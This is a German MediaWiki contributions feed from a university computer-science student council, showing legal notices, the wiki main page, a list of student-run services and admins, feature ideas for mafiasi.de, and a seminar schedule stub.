Fachschaft Informatik - Benutzerbeiträge [de]

Fachschaft Informatik:Impressum

2020-09-16T19:55:57Z

0rokita: cinsects.de hinzugefügt

Dieses Impressum gilt für Internetseiten unterhalb der folgenden URLs:

* https://www.informatik.uni-hamburg.de/Fachschaft/
* https://www.informatik.uni-hamburg.de/cgi-bin/fsr-wiki.pl
* https://www.informatik.uni-hamburg.de/cgi-bin/oe/wiki.pl
* https://oe.informatik.uni-hamburg.de/
* https://mafiasi.de/
* alle gültigen Subdomains von mafiasi.de
* https://oeinf.de
* alle gültigen Subdomains von oeinf.de
* https://cinsects.de
* alle gültigen Subdomains von cinsects.de

==Haftungsausschlüsse==
Haftungsausschluss für unser Forum (discourse.mafiasi.de): ''Discourse'' ist ein
[http://de.wikipedia.org/wiki/Internetforum Forum], in welchem
jedermann seine persönliche Meinung äußern kann. Die Fachschaft
Informatik hat keinen direkten Einfluss auf die Inhalte dieser
Forenbeiträge. Für die Forenbeiträge ist ausschließlich der
jeweilige Urheber verantwortlich.

Haftungsausschluss für unser Wiki (wiki.mafiasi.de): ''Unser
Fachschaftswiki'' ist ein [http://de.wikipedia.org/wiki/Wiki Wiki],
in welchem weitestgehend jedermann belibige Inhalte editieren kann.
Die Fachschaft Informatik hat keinen direkten Einfluss auf die
Inhalte der Wikiseiten. Für die jeweiligen Inhalte sind daher
ausschließlich ihre Urheber verantwortlich.

Insgesamt ist zu beachten dass es sich bei den Beiträgen auf unseren Seiten
fast immer um Handlungen von Einzelpersonen handelt, die wir nicht
mit vertretbarem Aufwand (erst recht nicht vor ihrer
Veröffentlichung) auf ihre Gesetzmäßigkeit überprüfen können.
Sollten sie begründete Zweifel an der Gesetzmäßigkeit von Inhalten
auf unseren Seiten haben, informieren sie uns bitte umgehend sodass
wir sie prüfen und ggf. entfernen können.

Ansprechpartner für diese Internetseiten:

Universität Hamburg<br />
'''Fachschaft Informatik'''<br />
Vogt-Kölln-Str. 30<br />
22527 Hamburg<br />
Germany

Email: fsr ett informatik punkt uni minus hamburg punkt de

Technische Fragen an: ag-server@informatik.uni-hamburg.de

Die Fachschaft Informatik ist gemäß § 102 (4) HmbHG Teil der
Studierendenschaft der Universität Hamburg, rechtsfähige Gliedkörperschaft öffentlichen Rechts.
Die Studierendenschaft wird vertreten durch den
[http://www.asta-uhh.de/3.0.html Allgemeinen Studierendenausschuss (AStA)]
der Universität Hamburg.

Die Studierendenschaft untersteht gemäß § 106 (2) HmbHG der Rechtsaufsicht des Präsidiums:

Universität Hamburg<br />
Präsidium<br />
Edmund-Siemers-Allee 1<br />
20146 Hamburg<br />
Germany

Wir danken den MitarbeiterInnen des
[http://www.informatik.uni-hamburg.de/RZ Informatik-Rechenzentrum]s
für die freundliche Bereitstellung von technischer Infrastruktur und
die kompetente Unterstützung bei Problemen!

Hauptseite

2016-10-16T18:35:06Z

0rokita: Link zum Gprot korregiert

__NOTITLE__
{| style="width:100%"
|-
| style="width:60%;vertical-align:top" |

<div style="padding:0.2em 0.8em 0.4em 0.8em; margin-right:10px;">
<h3 style="text-align:center; font-size: 1.3em; font-weight:bold;">Willkommen auf den Webseiten<br /> der [[Fachschaft|Fachschaft Informatik]]!</h3>
<div style="float:right; padding:0.6em; text-align:right">[[Bild:mafia-bit.png|70px]]</div>
Hier findest du wichtige Informationen über alle [[Studiengänge|der Informatik verwandten Studiengänge]] an der [http://www.uni-hamburg.de/ Universität Hamburg]. Dies ist ein Wiki, d. h. dass du auch ohne [[Spezial:Anmelden|Anmeldung]] bei dem Sammeln von Wissen helfen kannst.<br /><br />Insbesondere kannst und darfst '''du''' hier wirklich ''alles'' ändern, was dir nicht gefällt. ➡ Also keine falsche Scheu!<br />
Wenn du besonders engagiert bist, kannst du dich auch der Liste der Artikel in der Kategorie [[:Kategorie:Überarbeitung|Überarbeitung]] annehmen und diese auf den aktuellen Stand bringen.
</div>


<div style="border:1px solid #ffdf5d; background-color:#fff1b9; padding: 0.3em; margin-right:10px; margin-top:1.5em; font-size: 1.1em; font-weight:bold;">Übersicht</div>
<div id="hauptseite_toc" style="border:1px solid #ffdf5d; border-top:0px solid #FFFFFF; background-color:#FFFFFF; margin-bottom:1.0em; padding:0.2em 0.8em 0.4em 0.8em; margin-right:10px;">
__TOC__
</div>


<div style="border:1px solid #ffdf5d; background-color:#fff1b9; padding: 0.3em; margin-right:10px; font-size: 1.1em; font-weight:bold;">Aktionen</div>
<div style="border:1px solid #ffdf5d; border-top:0px solid #FFFFFF; background-color:#FFFFFF; margin-bottom:1.0em; padding:0.2em 0.8em 0.4em 0.8em; margin-right:10px;">
* [[Wahlbereich/Erfahrungsberichte|Erfahrungsberichte aus deinem Wahlbereich]]
* [[Open Access Award|Open Access!]] für (Welt-)öffentlichen Zugang von Forschung und Lehre
* [[BullshitBingo]] wird salonfähig.
* [[Jabber|Freie Kommunikation für alle!]] Unser [https://jabber.mafiasi.de/ Jabber-Server] ist online.
* '''Drop some knowledge!''' - Schreibe zu einem beliebigen Thema ein [[HOWTO]], damit andere von deinem Wissen profitieren! <br /> Alles was mit [[Fachschaft]], [[Studium]], [[Gremien]], [[Campus]] und Ähnlichem zu tun hat, ist hilfreich.
</div>

| style="width:40%;vertical-align:top" |


<div style="border:1px solid #869BBF; background-color:#D9E7FF; padding: 0.3em; margin-right:10px; font-size: 1.1em; font-weight:bold;">Aktuelles</div>
<div style="border:1px solid #869BBF; border-top:0px solid #FFFFFF; background-color:#FFFFFF; padding:0.2em 0.8em 0.4em 0.8em; margin-right:10px;">
{{Aktuelles}}

<div style="font-size:0.8em;">
<span style="text-align:left;">[[Fachschaft Informatik:Aktuelle_Ereignisse|mehr...]]</span>
<span style="float:right;">{{Bearbeiten|Vorlage:Aktuelles|text=bearbeiten}}</span>
</div>
</div>
<div style="border:1px solid #869BBF; border-top:0px solid #FFFFFF; background-color:#FFFFFF; margin-bottom:1.0em; padding:0.2em 0.8em 0.4em 0.8em; margin-right:10px;">
{{Protokolle}}
<div style="font-size:0.8em; text-align:right;">{{Bearbeiten|Vorlage:Protokolle|text=bearbeiten}}</div>
</div>


<div style="border:1px solid #869BBF; background-color:#D9E7FF; padding: 0.3em; margin-right:10px; font-size: 1.1em; font-weight:bold;">Sponsoren</div>
<div style="border:1px solid #869BBF; border-top:0px solid #FFFFFF; background-color:#FFFFFF; margin-bottom:1.0em; padding:0.2em 0.8em 0.4em 0.8em; margin-right:10px;">

* [[Datei:HIForum.gif]]<br /> [http://hiforum.de/ HIForum e.V.] unterstützt das [[KBS]] finanziell.
</div>
|-

|style="vertical-align:top; text-align:left;width:100%" colspan=2|

<div style="border:1px solid #ffdf5d; background-color:#fff1b9; padding: 0.3em; margin-right:10px; font-size: 1.1em; font-weight:bold;">Weiteres</div>
<div style="border:1px solid #ffdf5d; border-top:0px solid #FFFFFF; background-color:#FFFFFF; margin-bottom:1.0em; padding:0.2em 0.8em 0.4em 0.8em; margin-right:10px;">
== Informationen für Studienbeginner ==

* Für Studieninteressierte gibt es hier viele nützliche [http://www.inf.uni-hamburg.de/de/studies/prospective-students Infos].
* Wenn du im Oktober hier anfängst zu studieren, solltest du die [[Orientierungseinheit]] besuchen!
* Die erste Anlaufstelle für alle Fragen zum Studium ist das [https://discourse.mafiasi.de/ Forum].
* Eine [[Wegbeschreibung]] für alle, die uns besuchen wollen, gibt es auch.
* Wenn du interessiert bist solltest du der [[MafiA]] beitreten.

== Infos zum Studium ==

* [[STiNE]]
* [http://www.informatik.uni-hamburg.de/StB/Lehretableau/ Kommentiertes Vorlesungsverzeichnis] – Alle Veranstaltungen im Überblick.
* [[Diplomstudiengang]] (1998-2004)
* [[Bachelorstudiengang|Bachelorstudiengang Informatik]] (seit 2005)
* [[Bachelor Software System Entwicklung|Bachelorstudiengang Software-System-Entwicklung]] (seit 2009)
* [[Bachelor Computing in Science|Bachelorstudiengang Computing in Science]] (seit 2009)
* [[MCI (Studiengang)|Bachelorstudiengang Mensch-Computer-Interaktion]] (seit 2009)
* [[Master Informatik|Masterstudiengang Informatik]] (seit 2007)
* [[Master Bioinformatik|Masterstudiengang Bioinformatik]] (seit 2006)
* [[Master Wirtschaftsinformatik|Masterstudiengang Wirtschaftsinformatik]] (seit 2009)
* [[Master IT-Management und -Consulting|Masterstudiengang IT-Management und -Consulting]] (seit 2010)
* [https://mafiasi.de/gprot/ Gedächtnisprotokolle] – Protokolle von Prüfungen. [[:Kategorie:Gedaechtnisprotokoll|Selber schreiben]] nicht vergessen!
* Das [[Informatikum]] und ähnliche Örtlichkeiten
* Studentische Arbeitsräume in [[Arbeitsräume Stellingen|Stellingen]] und am [[Arbeitsräume Hauptcampus|Hauptcampus]]
* [[Materialien| Linksammlung zu Skripten, Übungsblättern, lecture2go-Aufzeichnungen]] usw.

== Interessenvertretung und Gremien ==

* [[Gremien]] sind offiziell vom Fachbereich, von der [[Fakultät]] oder von der Universität eingesetzt, um ein bestimmtes Thema zu besprechen. Wer euer direkter Ansprechpartner ist, findet ihr in der [[GremienMitgliederListe]].
* [[VVProtokolle|Protokolle]] von den [[VV|Vollversammlungen]]
* [[Gremieninfos]] – eine Sammlung von Infos, die für Gremienvertreter interessant sein könnten.
* [[MafiA]] – die '''M'''enge '''a'''ller '''f'''achschafts'''i'''nteressierten '''A'''ktivisten unterhält eine Mailinglistliste, über die wichtige Informationen zum aktuellen Geschehen verschickt werden.
* Bei uns am Informatikum:
** [[Fachschaftsrat|Fachschaftsrat (FSR)]] – Eure Interessenvertretung und Ansprechpartner für Probleme jeglicher Art.
** [[Arbeitsgemeinschaften]] sind Gruppen von Studierenden, die gemeinsam versuchen, etwas für andere Studierende zu tun.
** [http://www.informatik.uni-hamburg.de/cgi-bin/informatik/gremien-wiki.pl Gremien-Wiki] – ein Fachbereichsöffentliches Wiki für interne Informationen. Nur vom Informatiknetz aus zugreifbar.

== Unterhaltsames ==

* [[NoMaden]] – Die Nomaden, der Informatiker-Stammtisch, jede Woche in einer anderen Kneipe
* [http://www.uxhh.de/ User Experience HH] – monatliche UX Roundtable- und Buchclub-Treffen
* [[BitBilder]] samt [[BitBilderFAQ]] – Welches [[Bit]] wozu verwenden?
* [[Professorensprüche]] – Merk-würdige Sprüche von Professoren und anderen Menschen
* der [[FachBereichsSong]] – The Buggles mal anders
* [[Gaming]] - Einfach Mitspieler für alle möglichen Spiele finden
* [[KBS|Kunterbuntes Seminar]] - Ein während der Vorlesungszeit wöchentlich stattfindendes studentisch organisiertes Seminar mit allen möglichen Themen

== Weiteres Wissenswertes ==

* [[Probleme]] - hast du Probleme, mit Modulen, Professoren, Sonstigem? Schaut hier rein.
* [[GuteVeranstaltung]] – was würdest du dir von einer guten Veranstaltung wünschen? (Liebe Professoren, lesen!)
* [[Linkliste]] – sonstige wichtige Seiten
* Das [[KunterBuntesSeminar]] gibt es auch wieder in diesem Semester. Es ist einfach genial und lehrreich. Hingehen!
* Die Fachschaft vermietet [http://www.informatik.uni-hamburg.de/Fachschaft/fsr/button.html Buttonmaschinen].
* Eine [[Wegbeschreibung]] für alle, die uns besuchen wollen.
* [[Hobbys]] der Informatikstudierenden.
* Wichtige Informationen über das [[Rechenzentrum]] und was man da machen kann.
* [[Dienste]] des Fachschaftsservers
* [[Verbindungen]] – was dein(e) Rechner zuhause können könnte(n), damit du vernünftig arbeiten kannst.
* [[Software-Empfehlungen]] (nicht nur) für Erstsemester.
* [[Essen]]smöglichkeiten im, um und um das [[Informatikum]] herum.
* Wir arbeiten mit dem BOOT e.V. zusammen, deshalb erhalten unsere Student*innen freien Eintritt zur [http://2014.jsunconf.eu/ JSUnconf] und [http://www.php-unconference.de/ PHP Unconference]

== Über dieses Wiki ==
=== WikiWikiWeb ===
* [http://de.wikipedia.org/wiki/Wiki Was ist ein Wiki?]
* Diese Seiten benutzen das [http://www.mediawiki.org/ Mediawiki]
* [http://www.mediawiki.org/wiki/Help:Formatting Wie formatiere ich Text?]
* [http://www.mediawiki.org/wiki/Help:Editing_pages Wie kann ich Wiki-Seiten bearbeiten?]
* [[SpielWiese]] zum ausprobieren vom Wiki-Syntax

=== Sonstiges ===
* Übersicht über die [[Spezial:Benutzer|Bewohner]] dieses Wikis ([[Bewohner|alte Übersicht]])
* [[WikiNode]] – Wir und unsere Nachbarn im Wiki Web
</div>
|}

Dienste

2015-06-22T16:59:39Z

0rokita: Aktuallisiert

Es gibt viele studentisch administrierte [[Dienste]] für die Fachschaft. Zentrale Anlaufstelle ist [https://mafiasi.de mafiasi.de]. Diese Seite versucht einen Überblick zu geben, was existiert, wer sie verwaltet und Zugang hat und wer daran entwickelt. Die [[GremienMitgliederListe#Server-AG|Mitglieder]] der [[Server-AG]] haben Adminrechte und damit grundsätzlich auf alle Dienste Zugriff. Die unter "Admin" eingetragenen Personen kümmern sich hauptsächlich um die Verwaltung der Dienste. Die "Developer" entwickeln sie weiter und können bei Fragen zum Code angesprochen werden.

Bei Fragen: [[Server-AG|ag-server@]]

== Public ==
=== Mafiasi-Hub ===
* Server: [[fs2]]
* Admin: Henning 8pridoeh, Nils 0rokita
* Developer: Henning 8pridoeh, Nils 0rokita, Damian 2hofmann
* URL: https://mafiasi.de

Die zentrale Dienste-Seite unserer Fachschaft.
Hier kann man sich zentral für die meisten Dienste registrieren und Benutzergruppen anlegen.
Zusätzlich laufen hier der Keyserver, das GProt-System und die Gruppen-Etherpads.

=== Wiki ===
* Server: [[RZ/www2]]
* Admin: [[7kraemer]], [[8pridoeh]], [[user:JustusWinter|4winter]], 0rokita (serverseitiger Zugriff)
* [https://www.informatik.uni-hamburg.de/Fachschaft/wiki/index.php?title=Spezial%3ABenutzer&username=&group=sysop&limit=50 Admins (Mediawiki)] (Seitenlöschung/Sperrung etc.)
* Zugang hat noch: der [[FSR]], u.v.m.
* URL: https://wiki.mafiasi.de, https://www2.informatik.uni-hamburg.de/Fachschaft/wiki/

=== OE-Webseite ===
* Server: [[RZ/www2]]
* Admin: Web-AG der OE <oe-web@inf>
* URL: http://oe.informatik.uni-hamburg.de

=== Etherpad ===
* Server: [[fs2]]
* Admin: Nils 0rokita
* Developer: Nils 0rokita
* URL: http://ep.mafiasi.de/

Kollaboratives Schreiben von Dokumenten. Mehrere Personen können gleichzeitig Texte in einem Dokument verfassen. Läuft im Browser.

Mehr: [[Etherpad]]

=== Dudel ===
* Server: [[fs2]]
* Admin: Paul 2bienkow, Damian 2hofmann
* Developer: Paul 2bienkow, (Damian 2hofmann)
* URL: https://dudel.mafiasi.de/

Für Terminfindung und Abstimmungen. Freie Alternative zu Doodle.

Mehr: [[Dudel]]

=== Discourse ===
* Server: [[fs2]]
* Admin: Damian 2hofmann
* Moderation: [[Server-AG]], Jessica 5jobski
* URL: https://discourse.mafiasi.de

Forum der Fachschaft.
Mit privaten Kategorien für Mafiasi-Gruppen.

== FBI-Intern ==

=== Mumble ===
* Server: [[fs2]]
* Admin: 0rokita
* Zugang hat: die [[Server-AG]]
* Freie Sprachkonferenzsoftware mit hoher Sprachqualität
* Client für Windows, Linux und Mac OS X
* Im Stil von Teamspeak/Ventrilo
* [[Registrierung]]
Mehr: [[Mumble]]

=== Jabber ===
* Server: [[fs2]]
* Admin: 8pridoeh, 6keitzel, [[user:ArneKoehn|5koehn]], 0rokita
* Instant Messaging mit anderen Informatik-Studenten
* Registrierte Benutzer befinden sich automatisch nach Jahrgängen geordnet in der Kontaktliste
* Der FSR hat eine eigene Gruppe
* Mehr dazu unter [[Jabber]]

=== Redmine ===
* Server: fs2
* Admin [[Server-AG]]
* Projektmanagement Software
* URL: https://redmine.mafiasi.de

=== OwnCloud ===
* Server: fs4
* Admin: [[Server-AG]]
* URL: https://owncloud.mafiasi.de
* OwnCloud ist eine Plattform zum Teilen und Synchronisieren von Dateien und Verzeichnissen. Die Gruppen von mafiasi.de lassen sich auch hier verwenden, um Anderen Zugriff auf die Dateien bzw. Verzeichnisse zu gewähren. Die Kalender-Komponente ist deaktiviert, dafür haben wir die Kalendersoftware SOGo, welche unserer Erfahrung nach deutlich stabiler ist.

=== Git ===
* Server: [[fs2]]
* Admin: [[Server-AG]]
* Zugang hat: grundsätzlich jeder, der ein Repository hat. Zur Zeit gibt es welche für die OE, den FSR-Finanzreferent und [[N.N.]]
* Zugänge werden außerdem über das Redmine verwaltet, dort kann auf anfrage zu jedem Projekt ein Git erstellt werden

== OE-Wiki ==
* Server: [[RS/www]]
* Admin: [[0rokita]]
* Zugang hat: Jeder OEler und ehemalige OEler, sofern das Passwort nicht regelmaessig geaendert wird oder eine andere Zugangskontrolle eingefuehrt wird
* http://oe.mafiasi.de/, http://www.informatik.uni-hamburg.de/cgi-bin/oe/wiki.pl

== Legacy ==

=== OE-Webseite ===
* Server: [[RZ/www2]]
* URL: http://www.informatik.uni-hamburg.de/Fachschaft/OE/

bitte ergänzen! --[[Benutzer:7kraemer|7kraemer]] 20:43, 28. Jul. 2010 (CEST)

Fachschaft Informatik:Impressum

2015-04-13T14:34:35Z

0rokita: planet gibts momentan nicht wiki ist unter wiki.mafiasi.de

Dieses Impressum gilt für Internetseiten unterhalb der folgenden URLs:

* http://www.informatik.uni-hamburg.de/Fachschaft/
* http://www.informatik.uni-hamburg.de/cgi-bin/fsr-wiki.pl
* http://www.informatik.uni-hamburg.de/cgi-bin/oe/wiki.pl
* http://oe.informatik.uni-hamburg.de/
* http://mafiasi.de/
* alle gültigen Subdomains von http://mafiasi.de/

==Haftungsausschlüsse==
Haftungsausschluss für unser Forum (discourse.mafiasi.de): ''Discourse'' ist ein
[http://de.wikipedia.org/wiki/Internetforum Forum], in welchem
jedermann seine persönliche Meinung äußern kann. Die Fachschaft
Informatik hat keinen direkten Einfluss auf die Inhalte dieser
Forenbeiträge. Für die Forenbeiträge ist ausschließlich der
jeweilige Urheber verantwortlich.

Haftungsausschluss für unser Wiki (wiki.mafiasi.de): ''Unser
Fachschaftswiki'' ist ein [http://de.wikipedia.org/wiki/Wiki Wiki],
in welchem weitestgehend jedermann belibige Inhalte editieren kann.
Die Fachschaft Informatik hat keinen direkten Einfluss auf die
Inhalte der Wikiseiten. Für die jeweiligen Inhalte sind daher
ausschließlich ihre Urheber verantwortlich.

Insgesamt ist zu beachten dass es sich bei den Beiträgen auf unseren Seiten
fast immer um Handlungen von Einzelpersonen handelt, die wir nicht
mit vertretbarem Aufwand (erst recht nicht vor ihrer
Veröffentlichung) auf ihre Gesetzmäßigkeit überprüfen können.
Sollten sie begründete Zweifel an der Gesetzmäßigkeit von Inhalten
auf unseren Seiten haben, informieren sie uns bitte umgehend sodass
wir sie prüfen und ggf. entfernen können.

Ansprechpartner für diese Internetseiten:

Universität Hamburg<br />
'''Fachschaft Informatik'''<br />
Vogt-Kölln-Str. 30<br />
22527 Hamburg<br />
Germany

Email: fsr ett informatik punkt uni minus hamburg punkt de

Technische Fragen an: ag-server@informatik.uni-hamburg.de

Die Fachschaft Informatik ist gemäß § 102 (4) HmbHG Teil der
''Verfassten Studierendenschaft der Universität Hamburg
teilrechtsfähige Gliedkörperschaft öffentlichen Rechts''. Die
Verfasste Studierendenschaft wird vertreten durch den
[http://www.asta-uhh.de/3.0.html Allgemeinen Studierendenausschuss (AStA)]
der Universität Hamburg.

Zuständige Aufsichtsbehörde gemäß § 106 (2) HmbHG:

Universität Hamburg<br />
Präsidium<br />
Edmund-Siemers-Allee 1<br />
20146 Hamburg<br />
Germany

Wir danken den MitarbeiterInnen des
[http://www.informatik.uni-hamburg.de/RZ Informatik-Rechenzentrum]s
für die freundliche Bereitstellung von technischer Infrastruktur und
die kompetente Unterstützung bei Problemen!

Ideen für Mafiasi.de

2015-03-17T14:12:50Z

0rokita: mailinglisten gibt es

= Ideen und Featurewünsche =

== Planet Mafiasi ==
Content aller Mafiasis aggregieren (Blogs, Tweets, Timelines, ...).

Vielleicht lässt sich ein Planet mit Twitter-Wall vereinen.

Vielleicht lassen sich auch exotische APIs einbinden (Steam, Facebook, Pinterest, ...)

== kollaborativer LaTex Editor ==
Einen kollaboratiben LaTeX Editor anbieten (z.b. im Etherpad) oder alternativ zum Etherpad noch ein [https://github.com/sharelatex/sharelatex ShareLatex] aufsetzen. --[[Benutzer:7kraemer|7kraemer]] ([[Benutzer Diskussion:7kraemer|Diskussion]]) 18:33, 9. Nov. 2014 (CET)

== Jabber-Webchat auf mafiasi.de ==
Browserlösungen sind inhärent kacke. Aber manchmal befindet man sich aber in einem restriktiven Netz das kein XMPP erlaubt, und würde trotzdem gerne schnell mit Fachschaftsmitgliedern reden. (und sei es um zu erfragen ob wer einen Server zum http-tunneln hat) Natürlich gibt es bereits diverse Anbieter für Browserchats. Das

Problem ist: Denen muss man dann die Zugangsdaten für alle Fachschaftsdienste in den Hals werfen und sie haben dann auch ohne weiteres die Gesprächsverläufe.

Lösung wäre: Auf mafiasi.de einen Webchat einrichten, z.B. mit [https://conversejs.org/ Converse.js] oder mit [http://stefan-strigler.de/jwchat/ JWChat] ersteres behauptet sogar OTR im Browser zu können.

Wäre IMHO eine elegante Fallback-Lösung wenn es nicht zu schwer zu administrieren ist. --[[Benutzer:Timon|Timon]] ([[Benutzer Diskussion:Timon|Diskussion]]) 23:21, 3. Mai 2014 (CEST)

== Aktuelle Informationen automatisch aus Wiki ==

Momentan sind die aktuellen Informationen im Dashboard veraltet. Das wird sicher immer wieder passieren … es sei denn, ihr holt euch die Infos automatisiert aus dem Wiki. --[[Benutzer:1steenfa|Niklas]] ([[Benutzer Diskussion:1steenfa|Diskussion]]) 17:14, 17. Okt. 2013 (CEST)

Wünschenswert wáre auch, wenn die aktuellen Informationen im Wiki, wenn die Termine vorbei sind automatisch entfernt werden, sodaß sich da keiner drum kümmern muß.

== LaTeX Ecke oder sowas ==

Die Idee ist, nützliche Infos zu Latex zu sammeln, die man nicht überall anders findet. Insbesondere denke ich da an sowas wie http://detexify.kirelabs.org/classify.html. Evtl. könnte man die Videos von Julian Fietkau verlinken. Ich weiß nicht, ob das unbedingt auf mafiasi passt oder doch besser im Wiki aufgehoben ist, aber gefühlt gehen solche Infos im Wiki leicht unter. Es gab außerdem mal ein Skript (siehe http://www.fb18.de/mybb/showthread.php?tid=8145), das Latex in Bilder verwandeln konnte. Das verlinkte Skript existiert aber leider nicht mehr.

* Wie wäre es damit eine übersichtliche Wikiseite "Tools und Tutorials" oder ähnlich zu erstellen, und diese um Bschreibungstext des Wikis zu verlinken? Also statt "Im Wiki findest du wichtige Informationen zum Studium. Beteiligen erwünscht!" zum Beispiel "Im Wiki findest du wichtige Informationen zum Studium, wie auch nützliche [[Tools und Tutorials]]" (Vllt. fällt jemanden noch eine bessere Formulierung ein) -- Henning
** Die ursprüngliche Idee kam von mir (6hauster). Ich dachte, dass so etwas gerade für Studienanfänger sehr hilfreich wäre. Die Idee von Henning finde ich nicht schlecht. Ich habe leider keine Zeit mich da selber einzubringen, insofern könnt ihr mit der Idee machen was ihr wollt. Ich bin nicht traurig, wenn keiner Lust hat so etwas umzusetzen.

== Links zu STiNE und Webmail in der Sidebar==

Wäre bestimmt eine Hilfe für verlorene Erstis, die müssten sich dann nur Mafiasi.de merken und kämen von da aus weiter.

== Featurewünsche im Discourse sammeln ==

Momentan werden die Featurewünsche hier im Wiki gesammelt und Diskutiert. Ich glaube das Forum wäre dafür besser geeignet, weil man dort mehr Aufmerksamkeit hat und besser diskutieren kann.
Das Wiki sollte "Archivierungsfähigem" Wissen vorbehalten bleiben.--[[Benutzer:Timon|Timon]] ([[Benutzer Diskussion:Timon|Diskussion]]) 13:16, 6. Okt. 2014 (CEST)

= Geplante Features =

'''Diesen Abschnitt bitte nicht editieren.''' Hier kopiert die Server-AG die Wünsche hin, die sie plant umzusetzen. Wenn ein Wunsch hier nicht steht, heißt das noch nicht, dass er nicht umgesetzt wird.

== Dashboard ==
* Neuigkeiten und Panels für alle angemeldeten Benutzer editierbar mit History (ähnlich wie im Wiki)
* Übersicht mit verlinkten Etherpads/Dudles (als Lesezeichen gemeint)

== Etherpad ==
* Verwaltung der eigenen Etherpads

= Umgesetzt =

'''Diesen Abschnitt bitte nicht editieren.''' Hier kopiert die Server-AG die Wünsche hin, die umgesetzt wurden.

== Automagische Mailinglisten ==

Man kann bei mafiasi.de Gruppen einrichten, und das ist toll denn damit hat man z.B. sofort ein eigenes Forum, die möglichkeit Gruppenweite Kalender einzurichten, Gruppenweite Etherpads und auch Gruppenweite Dudle. Was noch fehlt ist eine Gruppenweite Mailingliste die automatisch angelegt wird. Das wäre ziemlich nett. sowas wie "gruppenname@mafiasi.de" oder so.--[[Benutzer:Timon|Timon]] ([[Benutzer Diskussion:Timon|Diskussion]]) 13:07, 6. Okt. 2014 (CEST)

Wurde umgesetzt unter der gruppenadministration zu erreichen --[[Benutzer:0rokita|Nils]] ([[Benutzer Diskussion:0rokita|Diskussion]]) 15:12, 17. Mär. 2015 (CET)

== GProt vereinheitlichen ==

(Vermutlich nur für angemeldete User)

Das aktuelle GProt-System ist unhandlich, und ein Großteil der Protokolle liegt im Wiki. Diese unter einem Hut zusammenfassen, und eine Möglichkeit geben, online (unkompliziert) in schnellem Markup (Markdown, MediaWiki, Creole, ... ?) Protokolle anzulegen (wie im Wiki), anstatt ein Offline-Dokument erstellen zu **müssen**. Ein paar bessere Filter einbauen (die Prüfer/Modul-Liste im aktuellen System ist unglaublich unhandlich). Und das ganze natürlich vor allen Nicht-Studenten verstecken, aber den Studis leicht auffindbar machen :)

== Etherpad ==
* Erstellung von Gruppen-Etherpads (Zugriff nur für Leute einer Gruppe)

== Mumble ==
* Funktionierende Registrierung (gleiche Zugangsdaten wie bei mafiasi.de)

== Sonstige ==
* Source code veröffentlichen
** Gibt es als [https://github.com/fsinfuhh/mafiasi Mirror bei Github]. Bitte beachte, dass wir für die Entwicklung ein eigenes Repository nutzen und Github nur zum Veröffentlichen des Quelltextes verwenden.

Fachschaft Informatik:Impressum

2015-03-16T21:55:16Z

0rokita: FB18 ist nicht mehr

Dieses Impressum gilt für Internetseiten unterhalb der folgenden URLs:

* http://www.informatik.uni-hamburg.de/Fachschaft/
* http://www.informatik.uni-hamburg.de/cgi-bin/fsr-wiki.pl
* http://www.informatik.uni-hamburg.de/cgi-bin/oe/wiki.pl
* http://oe.informatik.uni-hamburg.de/
* http://mafiasi.de/
* alle gültigen Subdomains von http://mafiasi.de/

==Haftungsausschlüsse==
Haftungsausschluss für planet.mafiasi.de: ''Planet MafiAsi'' ist ein
[http://de.wikipedia.org/wiki/Feedreader Feed-Aggregator], der die
Blogs verschiedener Akteure aus dem Kontext der Fachschaft auf einer
Webseite bündelt. Die Fachschaft Informatik hat keinen Einfluss auf
die Inhalte dieser Blogs. Für die auf dem Planet dargestellten
Inhalte sind daher ausschließlich die Betreiber der externen
Webseiten verantwortlich.

Haftungsausschluss für unser Forum (discourse.mafiasi.de): ''Discourse'' ist ein
[http://de.wikipedia.org/wiki/Internetforum Forum], in welchem
jedermann seine persönliche Meinung äußern kann. Die Fachschaft
Informatik hat keinen direkten Einfluss auf die Inhalte dieser
Forenbeiträge. Für die Forenbeiträge ist ausschließlich der
jeweilige Urheber verantwortlich.

Haftungsausschluss für unser Wiki (mafiasi.de): ''Unser
Fachschaftswiki'' ist ein [http://de.wikipedia.org/wiki/Wiki Wiki],
in welchem weitestgehend jedermann belibige Inhalte editieren kann.
Die Fachschaft Informatik hat keinen direkten Einfluss auf die
Inhalte der Wikiseiten. Für die jeweiligen Inhalte sind daher
ausschließlich ihre Urheber verantwortlich.

Insgesamt ist zu beachten dass es sich bei den Beiträgen auf unseren Seiten
fast immer um Handlungen von Einzelpersonen handelt, die wir nicht
mit vertretbarem Aufwand (erst recht nicht vor ihrer
Veröffentlichung) auf ihre Gesetzmäßigkeit überprüfen können.
Sollten sie begründete Zweifel an der Gesetzmäßigkeit von Inhalten
auf unseren Seiten haben, informieren sie uns bitte umgehend sodass
wir sie prüfen und ggf. entfernen können.

Ansprechpartner für diese Internetseiten:

Universität Hamburg<br />
'''Fachschaft Informatik'''<br />
Vogt-Kölln-Str. 30<br />
22527 Hamburg<br />
Germany

Email: fsr ett informatik punkt uni minus hamburg punkt de

Technische Fragen an: ag-server@informatik.uni-hamburg.de

Die Fachschaft Informatik ist gemäß § 102 (4) HmbHG Teil der
''Verfassten Studierendenschaft der Universität Hamburg
teilrechtsfähige Gliedkörperschaft öffentlichen Rechts''. Die
Verfasste Studierendenschaft wird vertreten durch den
[http://www.asta-uhh.de/3.0.html Allgemeinen Studierendenausschuss (AStA)]
der Universität Hamburg.

Zuständige Aufsichtsbehörde gemäß § 106 (2) HmbHG:

Universität Hamburg<br />
Präsidium<br />
Edmund-Siemers-Allee 1<br />
20146 Hamburg<br />
Germany

Wir danken den MitarbeiterInnen des
[http://www.informatik.uni-hamburg.de/RZ Informatik-Rechenzentrum]s
für die freundliche Bereitstellung von technischer Infrastruktur und
die kompetente Unterstützung bei Problemen!

KunterBuntesSeminar-SS15

2015-03-16T21:41:36Z

0rokita: Server-AG möchte einen vortrag über mafiasi.de halten

Das ist die Seite von dem [[KunterBuntesSeminar|KunterBuntenSeminar]] im [[Termine_SS_15|Sommersemester 2015]], welches das 13. Semester ist, in dem es stattfindet.

== Termine ==

Das [[KunterBuntesSeminar|KunterBunteSeminar]] findet dieses Semester wieder wöchentlich statt. Es findet normalerweise TBD Uhr statt. Du bist herzlich eingeladen, zu kommen. :)

Solltest du einen neuen Termin erstellen, schreibe deineman Abstract bitte in der dritten Person, sodass sich davon einfach eine E-Mail generieren lässt. Du bist außerdem dazu aufgerufen, in die erste Zeile deiner Themenseite ein [[KunterBuntesSeminar-WS14/Terminseiten-Header|solches]] Makro zu schreiben.

=== Themen ===
;KW14 ??.04.2015: N.N.
;KW15 ??.04.2015: N.N.
;KW16 ??.04.2015: N.N.
